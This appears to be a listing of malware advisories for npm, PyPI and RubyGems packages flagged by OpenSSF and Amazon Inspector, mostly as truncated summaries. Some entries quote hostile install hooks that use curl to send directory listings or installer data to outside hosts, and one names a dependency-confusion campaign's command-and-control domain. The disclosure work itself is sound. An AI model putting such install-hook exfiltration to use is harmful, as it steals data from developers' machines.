Malicious code in heft-example-plugin-01 (npm)

Source: ossf-package-analysis 38de8533a1fa4ae454f1c4c690239b429820ddf54aa69925be16c418d54f6a2b The OpenSSF Package Analysis project identified 'heft-example-plugin-01' @ 99.0.9 npm as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious...

Malicious code in @zinley/orion (npm)

Source: amazon-inspector cb5209e6394eac2659ab3101809c2a59bf59a604346075a9d923de21d982812e The package @zinley/orion was found to contain malicious code. Source: ossf-package-analysis a95d28c38ccf003df2b9dc25d727029f92363da1024197f4f69e03600edf1f52 The OpenSSF Package Analysis project identified...

Malicious code in @pimy-b2cweb/frontend-lib (npm)

Source: ossf-package-analysis 52b7395e417c7c853087ef974cc074fc88ea814575ea3ff10ad627f90eb236ed The OpenSSF Package Analysis project identified '@pimy-b2cweb/frontend-lib' @ 99.99.99 npm as malicious. It is considered malicious because: - The package executes one or more commands associated with...

Malicious code in 4xperss (npm)

Source: amazon-inspector 6de1a8af1dbe21de2e06785a6a5e41a438f356fe440c8b121b808975ef95f5fe The package 4xperss was found to contain malicious code. Source: ossf-package-analysis d8cb27dbe58e29571ce6b777903222af9497b79676e8301021d03f159c5d77ae The OpenSSF Package Analysis project identified '4xpers...

Malicious code in multicolored (PyPI)

Source: ossf-package-analysis 89f0e1660e4708cd5f0568f9c85ea2f35f883c21cb0f6a7d37e4d9d25a1dc8c8 The OpenSSF Package Analysis project identified 'multicolored' @ 1.0.0 pypi as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity....

Malicious code in proto-registry-metadata-api (RubyGems)

Source: ossf-package-analysis f1f7ab6f94cef6b0a1e53365370e91527c5c546ab409345d8a77877f5927f677 The OpenSSF Package Analysis project identified 'proto-registry-metadata-api' @ 1.11.3.87.g981ef7d3d rubygems as malicious. It is considered malicious because: - The package executes one or more command...

Malicious code in monolith-twirp-webhooksubscriptions-subscriptions (RubyGems)

Source: ossf-package-analysis df56bfac6f56194f6dc4db74f8761484bd20d2a46e61558f757a3179e3e249e8 The OpenSSF Package Analysis project identified 'monolith-twirp-webhooksubscriptions-subscriptions' @ 1.5.0 rubygems as malicious. It is considered malicious because: - The package executes one or more...

Malicious code in monolith-twirp-pages-pagesdfsapi (RubyGems)

Source: ossf-package-analysis 20af1e02b57f2beaf476855c1dcf3f3738437c7b97096ddfe5e04344005db421 The OpenSSF Package Analysis project identified 'monolith-twirp-pages-pagesdfsapi' @ 1.1.8 rubygems as malicious. It is considered malicious because: - The package executes one or more commands associat...

Malicious code in monolith-twirp-registrymetadata-core (RubyGems)

Source: ossf-package-analysis 9126904a0142c25fc3bffb7bb0d13eb5497f64bd39d2006b73cd1b6376fe2544 The OpenSSF Package Analysis project identified 'monolith-twirp-registrymetadata-core' @ 1.14.3 rubygems as malicious. It is considered malicious because: - The package executes one or more commands...

Malicious code in monolith-twirp-modelsgateway-access (RubyGems)

Source: ossf-package-analysis 313f573490a41070ababd4ac29e426b2b2d8f55dad52ab7068111a56bf582faf The OpenSSF Package Analysis project identified 'monolith-twirp-modelsgateway-access' @ 1.4.0 rubygems as malicious. It is considered malicious because: - The package executes one or more commands...

Malicious code in dependency-snapshots-api-proto (RubyGems)

Source: ossf-package-analysis 631057766f092650ba1257605bb896b689804a362934a08e7354ca7253f43b77 The OpenSSF Package Analysis project identified 'dependency-snapshots-api-proto' @ 99.99.99 rubygems as malicious. It is considered malicious because: - The package executes one or more commands...

Malicious code in actions-run-service (RubyGems)

Source: ossf-package-analysis 0096c4c86f75bd5815b589d90393b9d5efa12ac9fdae99a2cb6293475de0cbf8 The OpenSSF Package Analysis project identified 'actions-run-service' @ 0.0.1.r2301dc6 rubygems as malicious. It is considered malicious because: - The package executes one or more commands associated...

MAL-2026-6461 Malicious code in easy-string-kit232 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9c3f74b6873c47dc8f3a6d6922e9d66d17cafe47b7a80447f45bfe0d1535a6b5 package.json declares a postinstall lifecycle script that auto-executes on npm install and runs curl -X POST -d "$ls -la /data/logs/"...

Malicious code in blinkit-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2ca70b0a6be36daf245deb50dd6b3595a9bfba29c62770e82365152a02832cf8 On npm install, the package's preinstall lifecycle hook runs curl against http://d8s0b82plbq3u5sb2vo0sb3a9obr4yjt7.oast.site/ and POSTs the installer...

MAL-2026-3337 Malicious code in @t-in-one/save_application_hid_to_storage (npm)

Wave 2 of a dependency confusion attack campaign C2: oob.moika.tech targeting internal npm scopes. The attacker npm user t-in-one, email [email protected] published packages at inflated versions that resolve ahead of private registry versions via npm's default version resolution. The campaign...

MAL-2026-3017 Malicious code in react-spa-npm (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 43b35510ff33bc6f887152176f91fb63f2a336c8822c151ac6039ccced83c96b The package react-spa-npm was found to contain malicious code. Source: ghsa-malware c9044f471d6c131db0da2c97994b81cd8d2680486695f42dec152b2b23f5e0be...

Malicious code in exprrrress (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f3605883655f4870250aaab1c630151c6264e54521d1a711a088871de1fe5ea5 The package exprrrress was found to contain malicious code. Source: ossf-package-analysis...

MAL-2026-2235 Malicious code in srcsrctest (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a44b46855732b5a5522c0a1ea3ef88d5977daad1bfa5c39b42e0324e52fcf6f8 The package srcsrctest was found to contain malicious code. Source: ossf-package-analysis...

MAL-2026-2025 Malicious code in remitly-blog (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4dc307937a69a928785741aaf42f1e0e6ddea72dd3d7f7919c4ca4864d9835b4 The package remitly-blog was found to contain malicious code. Source: ossf-package-analysis...

MAL-2026-2007 Malicious code in uniswap-info (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a4b0c2ab6814aa67c139dffb11add8c0013caa86df1cffd6c9e1c0de09bd395c The package uniswap-info was found to contain malicious code. Source: ossf-package-analysis...